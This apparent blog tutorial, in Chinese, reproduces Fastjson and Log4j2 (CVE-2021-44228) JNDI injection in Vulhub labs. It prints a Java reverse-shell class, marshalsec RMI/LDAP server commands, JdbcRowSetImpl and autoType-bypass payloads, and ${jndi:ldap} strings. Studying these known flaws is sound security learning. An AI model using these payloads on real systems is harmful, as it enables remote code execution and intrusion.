從Fastjson和Log4j2學習JNDI注入
JNDI介紹
Java命名和目錄接口是Java編程語言中接口的名稱( JNDI )。它是一個API(應用程序接口),與服務器一起工作,為開發人員提供了查找和訪問各種命名和目錄服務的通用、統一的接口。
可以使用命名約定從數據庫獲取文件。JNDI為Java?戶提供了使?Java編碼語?在Java中搜索對象的?具。
簡單來說呢,JNDI相當與是Java里面的一個api,它可以通過命名來查找數據和對象。
JNDI注入原理
JNDI中有兩個方法:
- bind() :作用是將名稱綁定到對象里面
- lookup() :作用是通過名字檢索執行的對象
JNDI注入簡單來說就是在JNDI接口在初始化時,如果lookup()方法的參數可控,攻擊者就可以將惡意的url傳入參數加載惡意的類。
import javax.naming.InitialContext;import javax.naming.NamingException;
public class jndi { public static void main(String[] args) throws NamingException { String uri = "rmi://127.0.0.1:1099/work"; InitialContext initialContext = new InitialContext();//得到初始目錄環境的一個引用 initialContext.lookup(uri);//獲取指定的遠程對象 }}
jndi注入利用常見的兩種方法是JNDI+RMI和JNDI+LDAP注入
JNDI+RMI
RMI遠程調用是指,一個JVM中的代碼可以通過網絡實現遠程調用另一個JVM的某個方法
攻擊者可以構造payload:rmi://evilserver:9999/payload 來加載惡意的類。
**這里注意,在JDK 6u132, JDK 7u122, JDK 8u113及其之后版本中,系統屬性
com.sun.jndi.rmi.object.trustURLCodebase
com.sun.jndi.cosnaming.object.trustURLCodebase
默認值為 **false,即默認不允許從遠程的 Codebase 加載 Reference 工廠類。目標環境需要JDK符合版本,或者將這個屬性設置為 true 才能使用 JNDI+RMI注入
具體的利用過程通過fastjson反序列化漏洞來演示
JNDI+LDAP
LDAP(Light Directory Access Portocol),它是基于X.500標準的跨平臺的輕量級目錄訪問協議。
LDAP協議主要用于單點登錄SSO(Single Sign on),一個典型案例是:學校的單點登錄系統,只需要在這里登錄,則教務、WebVPN、校園網等系統都可以直接訪問,不需要登錄
LDAP也能返回JNDI Reference對象,利用過程與上面RMI Reference基本一致,只是lookup()中的URL為一個LDAP地址:ldap://xxx/xxx,由攻擊者控制的LDAP服務端返回一個惡意的JNDI Reference對象。
JDK 6u211,7u201, 8u191, 11.0.1之后com.sun.jndi.ldap.object.trustURLCodebase 屬性的默認值被調整為false
具體的利用過程通過log4j2漏洞來演示
網上有張圖就很清晰的標注了利用限制

fastjson 1.2.24 反序列化導致任意命令執行漏洞
簡介:fastjson是阿里巴巴的開源JSON解析庫,它可以解析JSON格式的字符串,支持將JavaBean序列化為JSON字符串,也可以從JSON字符串反序列化到JavaBean。
影響版本:Fastjson<=1.2.24
漏洞原因:反序列未做限制,可以返序列化任意類型的class文件,導致任意代碼執行。
環境:JDK1.8.102、Vulhub - Docker[1]
以下是java反序列化相關函數
| 函數 | 作用 |
| --- | --- |
| JSON.toJSONString(Object) | 將對象序列化成json格式 |
| JSON.toJSONString(Object,SerializerFeature.WriteClassName) | 將對象序列化成json格式,并且記錄了對象所屬的類的信息 |
| JSON.parse(Json) | 將json格式返回為對象(但是反序列化類對象沒有@Type時會報錯) |
| JSON.parseObject(Json) | 返回對象是com.alibaba.fastjson.JSONObject類 |
| JSON.parseObject(Json,Object class) | 返回對象會根據json中的@Type來決定 |
| JSON.parseObject(Json,User.class,
Feature.SupportNonPublicField) | 會把Json數據對應的類中的私有成員也給還原 |
該漏洞利用方式有兩種
- 通過JSON.parseObject()這個函數通過json中的類設置成com.sun.org.apache.xalan.internal.xsltc.trax.Templateslmpl并構造特定的方法達到命令執行
- 通過JNDI注入
本篇文章主要通過JNDI注入分析復現
大概的過程為:首先在本地開啟惡意的rmi服務(rmi://evilserver:1099),并綁定惡意類(evilobj),惡意類中存放著可以執行任意命令的java程序。找到fastjson組件入口(一般是傳json字符串的地方),傳入
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evilserver:1099/evilobj","autoCommit":true}
即可完成漏洞利用。
docker打開環境,可以看到頁面是json格式

那么如何判斷Fastjson框架呢,有一種簡單的方法
抓取一個數據包,修改成POST提交方式,并發送一個不完整的Json數據包,若返回了500報錯頁面,則該網站是使用了fastjson框架

若無回顯也可以使用dnslog判斷
{"1_Ry":{"@type":"java.net.Inet4Address","val":"dnslog地址"}}


復現前需要安裝指定版本的java,若沒安裝參考這篇文章kali中安裝多版本jdk[2](注意javac也是一樣,不然編譯好的class文件也無法利用)
1、上傳shell.java,并編譯:javac shell.java,然后將shell文件放在http的服務上
(這里的http服務親測開啟kali自帶的apache服務不行,我后面使用了python開啟http服務)
python -m SimpleHTTPServer //python2 python -m http.server //python3
import java.lang.Runtime;import java.lang.Process;public class shell{ static{ try{ Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.111.128/9999 0>&1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { //do nothing } }}

2、下載maven

3、下載mbechler/marshalsec [3] ,下載好后需要將marshalsec項目進行編譯
mvn clean package -DskipTests

4、編譯好后,借助marshalsec項目制定加載遠程類 shell.class
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.111.128:8000/#shell" 7777

5、發送payload,調用遠程惡意類
{ "1_Ry":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.111.128:7777/shell", "autoCommit":true }}

終于成功了
總結:此次復現踩了很多坑,但對JNDI+RMI注入的理解也更深刻,此次復現只演示了反彈shelll,更改payload可以執行任意命令這里就不繼續演示了。
主要有兩個坑:
- 一是注意JAVA和JAVAC版本
- 二是使用python開啟http服務
fastjson 1.2.47遠程命令執行漏洞
這里再提一嘴Fastjson 1.2.47反序列化其實就是1.2.24的繞過,1.2.47增加了checkAutoType()函數進行@type字段的檢查
具體payload如下,利用方法也是差不多的,這里就不詳細演示了
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://VPS地址:端口/Exploit", #這里的Exploit不能變 "autoCommit":true }}
(就在寫這篇文章的時候Fastjson≤1.2.80又爆出了一個繞過默認autoType關閉限制進行遠程命令執行)
Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)
漏洞成因:Apache Log4j 2 是Java語言的日志處理套件,使用極為廣泛。在其2.0到2.14.1版本中存在一處JNDI注入漏洞,攻擊者在可以控制日志內容的情況下,通過傳入類似于${jndi:ldap://evil.com/example}的lookup用于進行JNDI注入,執行任意代碼。
環境:vulhub [4] ,JDK1.8_102
Apache Log4j2 不是一個特定的Web服務,而僅僅是一個第三方庫,我們可以通過找到一些使用了這個庫的應用來復現這個漏洞,比如Apache Solr。
這里還是要再提一下,因為使用的方法是JNDI+LDAP注入的方式,所以JDK版本需要小于6u211,7u201, 8u191, 11.0.1
啟動環境后訪問8983端口即可看到Apache Solr的后臺頁面

漏洞復現攻擊大致流程如下:
- 首先攻擊者遭到存在風險的接口(接口會將前端輸入直接通過日志打印出來),然后向該接口發送攻擊內容:${jndi:ldap://localhost:9999/Test}。
- 被攻擊服務器接收到該內容后,通過Logj42工具將其作為日志打印。
- 此時Log4j2會解析${},讀取出其中的內容。判斷其為Ldap實現的JNDI。于是調用Java底層的Lookup方法,嘗試完成Ldap的Lookup操作。
- Java底層請求Ldap服務器(惡意服務器),得到了Codebase地址,告訴客戶端去該地址獲取他需要的類。
- Java請求Codebase服務器(惡意服務器)獲取到對應的類(惡意類),并在本地加載和實例化(觸發惡意代碼)。
接下來開始復現
首先使用其作為管理員接口的action參數值發送如下數據包驗證是否會解析
/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com}

在vulnhub中使用了JNDI 注入利用工具 [5] 進行漏洞利用,這里我還是使用mbechler/marshalsec [3] 進行復現,步驟和fastjson的差不多
首先還是先使用python啟用一個http服務,將shell.java編譯成class文件放入http服務上
import java.lang.Runtime;import java.lang.Process;public class shell{ static{ try{ Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.111.128/9999 0>&1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { //do nothing } }}
使用marshalsec搭建Ldap服務
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.111.128:8000/#shell" 7777

nc監聽,反彈shell
${jdni:ldap://192.168.111.128:7777/shell}

總結:JNDI常規注入對JDK版本還是有限制的,但是也有很多高版本的繞過方法,以后有時間會專門寫一篇文章記錄一下。
參考鏈接
[1] Vulhub - Docker:
https://vulhub.org/#/docs/remove/
[2] kali中安裝多版本jdk:
https://blog.csdn.net/grb819/article/details/121633285
[3] mbechler/marshalsec:
https://github.com/mbechler/marshalsec
[4] vulhub:
https://github.com/vulhub/vulhub/blob/master/log4j/CVE-2021-44228/README.zh-cn.md
[5] JNDI 注入利用工具
https://github.com/su18/JNDI